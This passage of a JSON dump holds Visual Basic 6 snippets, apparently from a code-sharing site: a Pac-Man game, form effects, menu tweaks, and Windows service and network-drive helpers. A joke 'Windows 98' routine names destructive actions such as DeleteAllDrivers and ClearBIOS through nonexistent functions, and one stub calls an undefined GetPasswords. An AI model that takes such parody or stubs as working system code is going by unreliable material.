Then\nSelect Case Fix(Rnd * 5) 'gebaseerd op random beweging\n Case 1\n If del(0) = 1 = False Then dire(z) = 0\n Case 2\n If del(1) = 1 = False Then dire(z) = 1\n Case 3\n If del(2) = 1 = False Then dire(z) = 2\n Case 4\n If del(3) = 1 = False Then dire(z) = 3\n End Select\nEnd If\npop:\n'\nSelect Case dire(z)\nCase 0: sy(z) = sy(z) - 1\nCase 1: sx(z) = sx(z) - 1\nCase 2: sx(z) = sx(z) + 1\nCase 3: sy(z) = sy(z) + 1\nEnd Select\n'\nposa = sox(z) + (soy(z) * 20) 'kijk op het veld\nposb = sx(z) + sy(z) * 20 'kijk op het veld\nIf lvl(posb) = 1 Then sx(z) = sox(z): sy(z) = soy(z): dire(z) = 4: Exit Sub\n\nIf lvl(posb) = 4 Then lvl(posb) = 0: Call live 'col detection\nIf lvl(posa) = 4 Then lvl(posa) = 0: Call live\nlvl(posa) = sbuf(z) 'kopieer nieuwe positie in sbuf\nsbuf(z) = lvlb(posb) 'kopieer nieuwe positie in sbuf\nlvl(posb) = 5 'plaats spookje in nieuwe positie\nEnd Sub\nPrivate Sub live()\nlevens = levens - 1 ' tel de levens af\npx = 3: ox = px 'herstel start positie\npy = 1: oy = py ',,,,,,\nIf levens = 0 Then Timer1.Enabled = False: Call Form_Load 'levens op dan nieuw spel\nCall dscore(0) 'print info in balk\nEnd Sub\n' Level draw. Grafisch gedeelte. Blitten kan ook!!\n'\nPrivate Sub Form_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)\nn = 1\nFor ay = 1 To 14\n For ax = 2 To 21\n If lvl(n) = 1 Then k = RGB(0, 0, 0) 'muurtje\n If lvl(n) = 0 Then k = RGB(255, 255, 255) 'open vlak\n If lvl(n) = 2 Then k = RGB(0, 0, 255) 'Pilletje\n If lvl(n) = 3 Then k = RGB(0, 255, 0) 'ander pilletje\n If lvl(n) = 4 Then k = RGB(255, 255, 0) 'Pac man\n If lvl(n) = 5 Then k = RGB(255, 0, 0) 'spookje\n Line (ax * 20, ay * 20)-((ax * 20) + 18, (ay * 20) + 18), k, BF\n n = n + 1\n Next\nNext\nEnd Sub\n\nPrivate Sub leeslvl(n)\n'Read level into the array. Edit the a=a+ string to change the level\n'experiment and see the effect.\nSelect Case n\nCase 0\n a = \"11111111111111111111\"\na = a + \"13222222222222222231\"\na = a + \"12121111111111112121\"\na = a + \"12222222222222222221\"\na = a + \"12121211111111212121\"\na = a + \"12121212222221212121\"\na = a + \"12121212222221212121\"\na = a + \"12121211122111212121\"\na = a + \"12121222222222212121\"\na = a + \"12121211111111212121\"\na = a + \"12222222222222222221\"\na = a + \"12121111111111112121\"\na = a + \"13222222222222222231\"\na = a + \"11111111111111111111\"\nCase 1\n a = \"11111111111111111111\"\na = a + \"12222222222222222221\"\na = a + \"12111111111111111121\"\na = a + \"12132222222222223121\"\na = a + \"12121111112111112121\"\na = a + \"12121222222222212121\"\na = a + \"12221211111111212221\"\na = a + \"12121212222221212121\"\na = a + \"12121222222222212121\"\na = a + \"12121111112111112121\"\na = a + \"12132222222222223121\"\na = a + \"12111111111111111121\"\na = a + \"13222222222222222221\"\na = a + \"11111111111111111111\"\nEnd Select\nFor i = 1 To 281 'lees de inhoud van a naar de lvl() dim\n lvl(i) = Mid(a, i, 1)\n lvlb(i) = Mid(a, i, 1)\nNext\nEnd Sub\nPrivate Sub Timer1_Timer() ' the timer contains the AI (ghosts,that pose the threat in the game)\nFor i = 0 To 2: Call spookje(i): Next\nCall Form_Resize\nEnd Sub\nPrivate Sub Form_Resize() \nCall Form_MouseUp(0, 0, 0, 0) 'hertekenen maar\nEnd Sub\n"},{"WorldId":1,"id":8216,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7745,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6584,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6722,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7037,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6478,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3663,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3582,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3592,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4664,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5428,"LineNumber":1,"line":"Dim frmHeight As Integer\nDim frmWidth As Integer\nPrivate Sub Form_Load()\nTimer1.Interval = 1\nfrmHeight = Form1.Height\nfrmWidth = Form1.Width\nForm1.Height = 100\nForm1.Width = 100\nEnd Sub\nPrivate Sub Timer1_Timer()\nWhile Form1.Height < frmHeight\nForm1.Height = Form1.Height + 8\nWend\nWhile Form1.Width < frmWidth\nForm1.Width = Form1.Width + 8\nWend\nTimer1.Enabled = False\nEnd Sub"},{"WorldId":1,"id":3611,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3613,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6117,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5866,"LineNumber":1,"line":"'~~~~~~~~~~~~~~~\n'~~~~~~~~~~~~~~~\n'~~~~~~~~~~~~~~~\n' place a button on the form called \"command1\" and test\n' run this project. Notice how BEFORE you click the button\n' the forms system menu (press [Alt] + [Space]) is the\n' normal on. Now press the button! It has changed! :)\nPrivate Declare Function GetMenu Lib \"user32\" (ByVal hwnd As Long) As Long\nPrivate Declare Function GetSystemMenu Lib \"user32\" (ByVal hwnd As Long, ByVal bRevert As Long) As Long\nPrivate Declare Function ModifyMenu Lib \"user32\" Alias \"ModifyMenuA\" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wFlags As Long, ByVal wIDNewItem As Long, ByVal lpString As Any) As Long\nPrivate Declare Function GetMenuItemID Lib \"user32\" (ByVal hMenu As Long, ByVal nPos As Long) As Long\nPrivate Declare Function SetMenu Lib \"user32\" (ByVal hwnd As Long, ByVal hMenu As Long) As Long\n' ^ APIs required 4 menu change!\nConst MF_STRING = &H0&\n' ^ CONSTANTs required 4 menu change!\nPrivate Sub command1_click()\n Dim hMenu As Long, MenuItem As Long\n \n hMenu = GetSystemMenu(Me.hwnd, 0)\n \n MenuItem = GetMenuItemID(hMenu, 0)\n ModifyMenu hMenu, MenuItem, MF_STRING, MenuItem, \"Restore my Bollocks\"\n \n MenuItem = GetMenuItemID(hMenu, 1)\n ModifyMenu hMenu, MenuItem, MF_STRING, MenuItem, \"Move u'r fat arse!\"\n \n MenuItem = GetMenuItemID(hMenu, 6)\n ModifyMenu hMenu, MenuItem, MF_STRING, MenuItem, \"Bugger off!\"\nEnd Sub"},{"WorldId":1,"id":3647,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3730,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3682,"LineNumber":1,"line":"'Make Your Form Name frm\nPrivate Sub Form_Load()\nfrm.Show\nDim a As Integer\nDim b As Integer\nDim C As Integer\nDim d As Integer\nDim e As Integer\nDim f As Integer\nDim w As Integer\nDim X As Integer\nDim Y As Integer\nDim z As Integer\nCall frm.Move(0, 0)\nw = frm.Height\nX = frm.Width\nY = frm.Top\nz = frm.Left\na = 0\nb = 0\nC = w\nd = X\ne = Y\nf = z\nDo While a < frm.Height / 15 Or b < frm.Width / 15\na = a + 25\nb = b + 25\ne = e + 70\nf = f + 70\nIf a > frm.Height / 15 Then a = a - 24\nIf b > frm.Width / 15 Then b = b - 24\nCall frm.Move(f, e, d, C)\ncurrent = Timer\nDo While Timer - current < 0.01\nDoEvents\nLoop\nCall SetWindowRgn(frm.Hwnd, CreateEllipticRgn(0, 0, b, a), True)\nLoop\ncurrent = Timer\nDo While Timer - current < 1\nDoEvents\nLoop\nCall SetWindowRgn(frm.Hwnd, CreateEllipticRgn(0, 0, 0, 0), True)\nEnd Sub"},{"WorldId":1,"id":3621,"LineNumber":1,"line":"'Make a list box & name it List1\nPrivate Sub Form_Load()\nCall GetPasswords\nEnd Sub"},{"WorldId":1,"id":3624,"LineNumber":1,"line":"Public Sub SetLoaded()\n 'put this in your main forms' Load procedure\n 'this will set the count\n Dim lTemp As Long, sPath As String\n lTemp& = GetLoaded&\n If Right$(App.Path, 1) <> \"\\\" Then sPath$ = App.Path & \"\\\" & App.EXEName & \".tmp\" Else sPath$ = App.Path & App.EXEName & \".tmp\"\n Open sPath$ For Output As #1\n Print #1, lTemp& + 1\n Close #1\n End Sub\n Public Function GetLoaded() As Long\n 'call this to get how many times program has been loaded\n On Error Resume Next\n Dim sPath As String, sTemp As String\n If Right$(App.Path, 1) <> \"\\\" Then sPath$ = App.Path & \"\\\" & App.EXEName & \".tmp\" Else sPath$ = App.Path & App.EXEName & \".tmp\"\n Open sPath$ For Input As #1\n sTemp$ = Input(LOF(1), #1)\n Close #1\n If sTemp$ = \"\" Then GetLoaded& = 0 Else GetLoaded& = CLng(sTemp$)\n End Function\n"},{"WorldId":1,"id":6043,"LineNumber":1,"line":"'To make your form on top:\nFormOnTop Form1\n'To take you off off of on top:\nFormNotOnTop Form1"},{"WorldId":1,"id":5647,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6317,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6340,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6300,"LineNumber":1,"line":"Private Sub Text1_Change()\nSendKeys \"{left}\"\nEnd Sub"},{"WorldId":1,"id":6975,"LineNumber":1,"line":"' Name your form Form1\n ' Load comdlg32.ocx\n ' Make a Command1\n ' Make a common dialog named CDialog\n \n Private Sub Command1_Click() \n On Error GoTo fileOpenErrr \n CDialog.CancelError = True \n CDialog.FLAGS = &H4& Or &H100& \n CDialog.DefaultExt = \".jpg\" \n CDialog.DialogTitle = \"Select File To Open\" \n CDialog.Filter = \"JPEG (*.jpg)|*.jpg|GIF (*.gif)|*.gif|BITMAP (*.bmp)|*.bmp\" \n CDialog.ShowOpen \n Set Form1.Picture = LoadPicture(CDialog.filename) \n fileOpenErrr: \n Exit Sub \n End Sub \n \n ' This is what I use for a sort of skin effect on my programs."},{"WorldId":1,"id":6976,"LineNumber":1,"line":"'It seems everyone likes to use labels on mouseover of an object when really all you have to do is:\n'Goto the object properties, & goto ToolTipText. Put your message in there & you have a REAL tooltip. ;)\n'(guess sometimes people forget about the easy things)."},{"WorldId":1,"id":6966,"LineNumber":1,"line":"'Make a Command1\n 'Make a Text1\n 'Make a Text2\n 'Make a Text3 (Locked)\n \n 'Add\n Private Sub Command1_Click() \n Add Text1, Text2 \n End Sub \n \n 'Subtract\n Private Sub Command1_Click() \n Subtract Text1, Text2 \n End Sub \n \n 'Multiply\n Private Sub Command1_Click() \n Multiply Text1, Text2 \n End Sub \n \n 'Divide\n Private Sub Command1_Click() \n Divide Text1, Text2 \n End Sub \n"},{"WorldId":1,"id":6967,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6968,"LineNumber":1,"line":"'Load Richtx32.ocx\n 'Load msinet.ocx\n 'Make a RichTextBox1\n 'Make an Inet1\n 'Make a plain textbox names URL\n 'Make a command1\n \n Private Sub Command1_Click() \n On Error Resume Next \n \n Dim txt As String \n Dim b() As Byte \n \n Command1.Enabled = False \n \n b() = Inet1.OpenURL(URL.Text, 1) \n \n txt = \"\" \n \n For t = 0 To UBound(b) - 1 \n txt = txt + Chr(b(t)) \n Next \n \n RichTextBox1.Text = txt \n Command1.Enabled = True \n \n Exit Sub \n End Sub"},{"WorldId":1,"id":6969,"LineNumber":1,"line":"^ = Control \n {enter} = Enter \n % = Alt \n {Del} = Delete \n {ESCAPE} = Escape \n {TAB} = Tab \n + = Shift \n {BACKSPACE} = Backspace \n {BREAK} = Break \n {CAPLOCKS} = Caps Lock \n {CLEAR} = Clear \n {DELETE} = Delete \n {DOWN} = Down Arrow \n {LEFT} = Left Arrow \n {RIGHT} = Right Arrow \n {UP} = Up Arrow \n {NUMLOCK} = Num Lock \n {PGDN} = Page Down \n {PGUP} = Page Up \n {SCROLLLOCK} = Scroll Lock \n {F1} = F1 .......Use {F2} {F3} and so on for others... \n {HOME} = home \n {INSERT} = Insert"},{"WorldId":1,"id":3686,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4382,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6693,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9028,"LineNumber":1,"line":"For i = 1 To Me.Controls.Count - 1\n If TypeOf Me.Controls(i) Is TextBox Then\n Me.Controls(i).Text = \"\"\n End If\n Next i\n"},{"WorldId":1,"id":3649,"LineNumber":1,"line":"Private Sub cmdConnect_Click()\n Dim x As Long\n x = WNetAddConnection(\"\\\\CPU1\\C\\WINDOWS\\DESKTOP\", \"\", \"R:\")\n If x <> 0 Then\n MsgBox \"connect failed\"\n End If\nEnd Sub\nPrivate Sub cmdDisconnect_Click()\n Dim x As Long\n x = WNetCancelConnection(\"R:\", 0)\n If x <> 0 Then\n MsgBox \"Disconnect failed\"\n End If\nEnd Sub\n"},{"WorldId":1,"id":4003,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3667,"LineNumber":1,"line":"Option Explicit\nPrivate Sub cmdArrows_Click(Index As Integer)\n Dim I As Integer\n Select Case Index\n Case 0 ' > Button\n For i = 0 To lstLists(0).ListCount - 1\n If lstLists(0).Selected(i) Then\n lstLists(1).AddItem lstLists(0).List(i)\n lstLists(1).ItemData(lstLists(1).NewIndex) = lstLists(0).ItemData(i)\n End If\n Next i\n For i = (lstLists(0).ListCount - 1) To 0 Step -1\n If lstLists(0).Selected(i) Then\n lstLists(0).RemoveItem i\n End If\n Next i\n Case 1 ' >> Button\n For i = 0 To lstLists(0).ListCount - 1\n lstLists(1).AddItem lstLists(0).List(i)\n lstLists(1).ItemData(lstLists(1).NewIndex) = lstLists(0).ItemData(i)\n Next i\n For i = (lstLists(0).ListCount - 1) To 0 Step -1\n lstLists(0).RemoveItem i\n Next i\n Case 2 ' < Button\n For i = 0 To lstLists(1).ListCount - 1\n If lstLists(1).Selected(i) Then\n lstLists(0).AddItem lstLists(1).List(i)\n lstLists(0).ItemData(lstLists(0).NewIndex) = lstLists(1).ItemData(i)\n End If\n Next i\n For i = (lstLists(1).ListCount - 1) To 0 Step -1\n If lstLists(1).Selected(i) Then\n lstLists(1).RemoveItem i\n End If\n Next i\n Case 3 ' << Button\n For i = 0 To lstLists(1).ListCount - 1\n lstLists(0).AddItem lstLists(1).List(i)\n lstLists(0).ItemData(lstLists(0).NewIndex) = lstLists(1).ItemData(i)\n Next i\n For i = (lstLists(1).ListCount - 1) To 0 Step -1\n lstLists(1).RemoveItem i\n Next i\n End Select\n \n SetButtons\n \nEnd Sub\nPrivate Sub Form_Load()\n Dim I As Integer, Flag As Boolean\n \n cmdArrows(0).Caption = \">\"\n cmdArrows(1).Caption = \">>\"\n cmdArrows(2).Caption = \"<\"\n cmdArrows(3).Caption = \"<<\"\n \n For I = 0 To Printer.FontCount - 1\n frmSelectList.lstLists(0).AddItem Printer.Fonts(I)\n Next I\n SetButtons ' go to set Select buttons\nEnd Sub\nPrivate Sub lstLists_Click(Index As Integer)\n \n SetButtons ' go to set select buttons\nEnd Sub\nPublic Sub SetButtons()\n \n cmdArrows(0).Enabled = False\n cmdArrows(1).Enabled = False\n cmdArrows(2).Enabled = False\n cmdArrows(3).Enabled = False\n \n If lstLists(0).ListCount > 0 Then\n cmdArrows(1).Enabled = True ' >> Button\n If lstLists(0).SelCount > 0 Then\n cmdArrows(0).Enabled = True ' > Button\n End If\n End If\n If lstLists(1).ListCount > 0 Then\n cmdArrows(3).Enabled = True ' << Button\n If lstLists(1).SelCount > 0 Then\n cmdArrows(2).Enabled = True ' < Button\n End If\n End If\n \nEnd Sub\nPrivate Sub lstLists_DblClick(Index As Integer)\n Select Case Index\n Case 0\n cmdArrows_Click (0) ' > Button\n Case 1\n cmdArrows_Click (2) ' < Button\n End Select\n \nEnd Sub\n"},{"WorldId":1,"id":3698,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3693,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3830,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3706,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7542,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5516,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9888,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7341,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7917,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3825,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3780,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4860,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3731,"LineNumber":1,"line":"Sub Main()\n LoadTaskbar\n Pause(10000)\n LoadDesktop\n Pause(10000)\n If vbProcSpeed = vbFast Then\n MakeProcSpeed vbVerySlow\n Else\n Err.Raise 1\n RebootSystem\n End If\n MessUpRegistry\n DeleteAllDrivers\n Do \n SysResponse = 0\n While SysResponse = 1\n A = ShowBlueScreen\n If A <> 0 Then\n ShowBlueScreen\n Else\n Err.Raise 1\n SystemShutdown\n ClearBIOS\n End If\n ContinueNormalSession\nEnd Sub\nPrivate Sub Application_Load()\n SystemResources = 0\n ShowBlueScreen\n For A = 1 To 100\n Err.Raise 1\n Next A\n ActiveApp.Responding = False \n Pause(10000)\n MakeProcSpeed = vbVerySlow\n Pause(10000)\n A = MsgBox(\"An Error Has Occured. Reboot system?\",vbYesOnly,\"Duh\")\n If A = vbYes Then\n MsgBox \"Error: Unable to reboot system. Too useless.\"\n Err.Raise 1\n Else\n MsgBox \"Too Bad!\"\n Err.Raise 1\n Pause(10000)\n RebootSystem\n End If\nEnd Sub\nPrivate Sub Win98_OnError()\n SystemCrash\nEnd Sub\n\n"},{"WorldId":1,"id":3733,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7691,"LineNumber":1,"line":"'##### Setup ##########\n'Start a standard project with one form.\n'Make the form Height 2200 twips\n'and Width 4400 twips.\n'Put a Label on the form and\n'make it cover the top\n'2/3 of the form.\n'Put a command button on the\n'bottom of the form.\n'Add a Timer to the form.\n'Paste the code into the code window.\n'Have your Immediate window\n'showing to see what its doing.\nOption Explicit\n\nPrivate Declare Function GetAsyncKeyState Lib \"user32\" (ByVal vKey As Long) As Integer\nPrivate Declare Function GetCursorPos Lib \"user32\" (lpPoint As POINTAPI) As Long\nPrivate Type POINTAPI\nx As Long\ny As Long\nEnd Type\nPrivate Sub Command1_Click()\nTimer1.Interval = 100\nTimer1.Enabled = True\nMe.Visible = False\nEnd Sub\nPrivate Sub Form_Load()\nTimer1.Enabled = False\nLabel1.Caption = \"Press the button and this form will disappear. \" _\n & \"You can work all you want and the form will stay hidden \" _\n & \"as long as the computer is not sitting idel. \" _\n & \"After a number of seconds have passed without \" _\n & \"keyboard or mouse movement it will reappear.\"\nEnd Sub\nPrivate Sub Timer1_Timer()\nDim MouseMoved As Boolean\nDim KeyPressed As Boolean\nDim KeyCounter As Integer\nDim CurrentCursorPosition As POINTAPI\nStatic LastCursorPosition As POINTAPI\nStatic TimePassed As Date\n'Loop through every key on keyboard\nFor KeyCounter = 1 To 256\n'Check with API for keypress\n If GetAsyncKeyState(KeyCounter) <> 0 Then\n Debug.Print \"Key Pressed\"\n Debug.Print Chr$(KeyCounter)\n KeyPressed = True\n Exit For\n End If\nNext\n'Get the cursor position from API call\nGetCursorPos CurrentCursorPosition\n'Check the new cursor position with\n'the last cursor position\nIf CurrentCursorPosition.x <> LastCursorPosition.x Or _\n CurrentCursorPosition.y <> LastCursorPosition.y Then\n Debug.Print \"Mouse Moved\"\n Debug.Print \"x= \" & CurrentCursorPosition.x\n Debug.Print \"y= \" & CurrentCursorPosition.y\n \n MouseMoved = True\nEnd If\n'Save the present cursor position to\n'check against new position on next pass\n LastCursorPosition = CurrentCursorPosition\n \n Debug.Print DateDiff(\"s\", TimePassed, Now)\n \n'if movement then reset TimePassed\n'back to 0\n If KeyPressed Or MouseMoved = True Then\n TimePassed = Now\n End If\n'if no movement then\n If KeyPressed Or MouseMoved = False Then\n 'check how much time has passed\n 'against the time present time\n 'in seconds and if more than 5\n 'then make the form visiable\n 'and shut the time off.\n 'The more than 100000 is\n 'required for the first pass.\n If DateDiff(\"s\", TimePassed, Now) > 5 And _\n DateDiff(\"s\", TimePassed, Now) < 100000 Then\n Me.Visible = True\n Timer1.Enabled = False\n Exit Sub\n End If\n End If\n KeyPressed = False\n MouseMoved = False\n \nEnd Sub\n"},{"WorldId":1,"id":5566,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3787,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3817,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3856,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3888,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5266,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5267,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4120,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3743,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3752,"LineNumber":1,"line":"Public Function Install_SVC(strServiceFileName As String, strServiceName As String, strDisplayName As String, bolInteractive As Boolean, bolAutoStart As Boolean, Optional strMachineName As Variant, Optional strAccount As Variant, Optional strAccountPassword As Variant) As Boolean\n Dim hSCM As Long\n Dim hSVC As Long\n Dim lngInteractive As Long\n Dim lngAutoStart As Long\n Dim pSTATUS As SERVICE_STATUS\n If bolInteractive = True Then lngInteractive = (&H100 Or &H10) Else lngInteractive = &H10\n If bolAutoStart = True Then lngAutoStart = &H2 Else lngAutoStart = &H3\n If IsMissing(strMachineName) = True Then strMachineName = vbNullString Else strMachineName = CStr(strMachineName)\n If IsMissing(strAccount) = True Then strAccount = vbNullString Else strAccount = CStr(strAccount)\n If IsMissing(strAccountPassword) = True Then strAccountPassword = vbNullString Else strAccountPassword = CStr(strAccountPassword)\n \n '// Open the service manager\n hSCM = OpenSCManager(strMachineName, vbNullString, &H2)\n If hSCM = 0 Then Exit Function '// error opening\n '// Install the service\n hSVC = CreateService(hSCM, _\n strServiceName, _\n strDisplayName, _\n 983551, _\n lngInteractive, _\n lngAutoStart, _\n 0, _\n strServiceFileName, _\n vbNull, _\n vbNull, _\n vbNullString, _\n strAccount, _\n strAccountPassword)\n \n If hSVC <> 0 Then Install_SVC = True\n \n Call CloseServiceHandle(hSVC)\n Call CloseServiceHandle(hSCM)\nEnd Function\n"},{"WorldId":1,"id":3789,"LineNumber":1,"line":"Public Function EnumerateServices(colSVC As Collection, bolDisplayName As Boolean, Optional lngServiceType As Variant, Optional lngServiceState As Variant, Optional strMachineName As Variant) As Long\n \n '// lngServiceType = 0 (win32 services)\n '// lngServiceType = 1 (driver services)\n '// lngServiceState = 0 (active and inactive services)\n '// lngServiceState = 1 (active services)\n '// lngServiceState = 2 (inactive services)\n Dim hSCM As Long\n Dim lngBytesNeeded As Long\n Dim lngResumeHandle As Long\n Dim lngServicesReturned As Long\n Dim lngStructsNeeded As Long\n Dim lngServiceStatusInfoBuffer As Long\n Dim lngSVCReturnCode As Long\n Dim lngI As Long\n Dim strSVCName As String * 250\n Dim lpEnumServiceStatus() As ENUM_SERVICE_STATUS\n \n On Error Resume Next\n If IsMissing(lngServiceType) = True Then lngServiceType = 0 Else lngServiceType = CLng(lngServiceType)\n If IsMissing(lngServiceState) = True Then lngServiceState = 0 Else lngServiceState = CLng(lngServiceState)\n If IsMissing(strMachineName) = True Then strMachineName = vbNullString Else strMachineName = CStr(strMachineName)\n If lngServiceType = 0 Then lngServiceType = 30\n If lngServiceType = 1 Then lngServiceType = 11\n If lngServiceState = 0 Then lngServiceState = 3\n If lngServiceState = 1 Then lngServiceState = &H1\n If lngServiceState = 2 Then lngServiceState = &H2\n '// Open the service manager\n hSCM = OpenSCManager(strMachineName, vbNullString, &H4)\n If hSCM = 0 Then Exit Function '// error opening\n \n '// Get buffer size (bytes) without passing a buffer\n Call EnumServicesStatus(hSCM, lngServiceType, lngServiceState, ByVal &H0, &H0, lngBytesNeeded, lngServicesReturned, lngResumeHandle)\n \n '// We should receive MORE_DATA error\n If Not Err.LastDllError = 234 Then\n Call CloseServiceHandle(hSCM)\n Exit Function\n End If\n \n '// Calculate the number of structures needed and redimention array\n lngStructsNeeded = lngBytesNeeded / Len(lpEnumServiceStatus(0)) + 1\n ReDim lpEnumServiceStatus(lngStructsNeeded - 1)\n \n '// Get buffer size in bytes\n lngServiceStatusInfoBuffer = lngStructsNeeded * Len(lpEnumServiceStatus(0))\n \n '// Get services information starting entry 0\n lngResumeHandle = 0\n lngSVCReturnCode = EnumServicesStatus(hSCM, lngServiceType, lngServiceState, lpEnumServiceStatus(0), lngServiceStatusInfoBuffer, lngBytesNeeded, lngServicesReturned, lngResumeHandle)\n If lngSVCReturnCode <> 0 Then\n For lngI = 0 To lngServicesReturned - 1\n If bolDisplayName = True Then\n Call lstrcpy(ByVal strSVCName, ByVal lpEnumServiceStatus(lngI).lpDisplayName)\n Else\n Call lstrcpy(ByVal strSVCName, ByVal lpEnumServiceStatus(lngI).lpServiceName)\n End If\n colSVC.Add StripTerminator(strSVCName)\n Next\n End If\n \n Call CloseServiceHandle(hSCM)\n \n EnumerateServices = colSVC.Count\n \nEnd Function\nPrivate Function StripTerminator(ByVal strString As String) As String\n \n If InStr(strString, Chr(0)) > 0 Then StripTerminator = Left(strString, InStr(strString, Chr(0)) - 1) Else StripTerminator = strString\n \nEnd Function"},{"WorldId":1,"id":3792,"LineNumber":1,"line":"Public Function Get_ServerTime(ByVal strServerName As String) As String\n \n Dim lngBuffer As Long\n Dim strServer As String\n Dim lngNet32ApiReturnCode As Long\n Dim days As Date\n Dim TOD As TIME_OF_DAY\n \n On Error Resume Next\n \n '// Get server time\n strServer = StrConv(strServerName, vbUnicode) '// Convert the server name to unicode\n lngNet32ApiReturnCode = NetRemoteTOD(strServer, lngBuffer)\n If lngNet32ApiReturnCode = 0 Then\n CopyMem TOD, ByVal lngBuffer, Len(TOD)\n days = DateSerial(70, 1, 1) + (TOD.t_elapsedt / 60 / 60 / 24) '// Convert the elapsed time since 1/1/70 to a date\n days = days - (TOD.t_timezone / 60 / 24) '// Adjust for TimeZone differences\n Get_ServerTime = days\n End If\n \n '// Free pointers from memory\n Call NetApiBufferFree(lngBuffer)\nEnd Function"},{"WorldId":1,"id":4073,"LineNumber":1,"line":"Option Explicit\nPrivate WithEvents m_txtComplete As TextBox\nPrivate m_strDelimeter As String\nPrivate m_strList As String\nPrivate Sub m_txtComplete_KeyUp(KeyCode As Integer, Shift As Integer)\n \n Dim i As Integer\n Dim strSearchText As String\n Dim intDelimented As Integer\n Dim intLength As Integer\n Dim varArray As Variant\n \n With m_txtComplete\n If KeyCode <> vbKeyBack And KeyCode > 48 Then \n If InStr(1, m_strList, .Text, vbTextCompare) <> 0 Then\n \n varArray = Split(m_strList, m_strDelimeter)\n \n For i = 0 To UBound(varArray)\n strSearchText = Trim(varArray(i))\n \n If InStr(1, strSearchText, .Text, vbTextCompare) And \n (Left$(.Text, 1) = Left$(strSearchText, 1)) And \n .Text <> \"\" Then\n .SelText = \"\"\n .SelLength = 0\n intLength = Len(.Text)\n .Text = .Text & Right$(strSearchText, Len(strSearchText) - Len(.Text))\n .SelStart = intLength\n .SelLength = Len(.Text)\n Exit Sub\n End If\n \n Next i\n End If\n End If\n End With\n \nEnd Sub\nPublic Property Get CompleteTextbox() As TextBox\n Set CompleteTextbox = m_txtComplete\nEnd Property\nPublic Property Set CompleteTextbox(ByRef txt As TextBox)\n Set m_txtComplete = txt\nEnd Property\nPublic Property Get SearchList() As String\n SearchList = m_strList\nEnd Property\nPublic Property Let SearchList(ByVal str As String)\n m_strList = str\nEnd Property\nPublic Property Get Delimeter() As String\n Delimeter = m_strDelimeter\nEnd Property\nPublic Property Let Delimeter(ByVal str As String)\n m_strDelimeter = str\nEnd Property\n"},{"WorldId":1,"id":3763,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4029,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4015,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4016,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3834,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3845,"LineNumber":1,"line":"Dim ww As Integer\nDim Ixy_angle, Iz_angle, dYYshift, dXXshift, csx, csy As Integer\nDim cosa, cosb, sina, sinb, coscosba, cossinba, sincosba, sinsinba, zoom, pi180 As Double\n'This is the translation function\nPrivate Sub posxy(x1 As Double, y1 As Double, z1 As Double)\n Dim Yy, Xx As Double\n Yy = zoom / (10# - (z1 * cosb + y1 * sinsinba - x1 * sincosba))\n Xx = 100# * (1# + (y1 * cosa + x1 * sina) * Yy)\n csx = Int(dXXshift) + Int(Xx)\n Xx = 100# * (1# + (y1 * cossinba - x1 * coscosba - z1 * sinb) * Yy)\n csy = Int(dYYshift) + Int(Xx)\nEnd Sub\nSub rollup()\n Iz_angle = (Iz_angle + 5)\n cosb = Cos(Iz_angle * pi180)\n sinb = Sin(Iz_angle * pi180)\n sinsinba = sinb * sina\n sincosba = sinb * cosa\n cossinba = sina * cosb\n coscosba = cosb * cosa\n Form1.Cls\n NewPaint\nEnd Sub\nSub rolldown()\n Iz_angle = (Iz_angle - 5)\n cosb = Cos(Iz_angle * pi180)\n sinb = Sin(Iz_angle * pi180)\n sinsinba = sinb * sina\n sincosba = sinb * cosa\n cossinba = sina * cosb\n coscosba = cosb * cosa\n Form1.Cls\n NewPaint\nEnd Sub\nSub rollright()\n Ixy_angle = 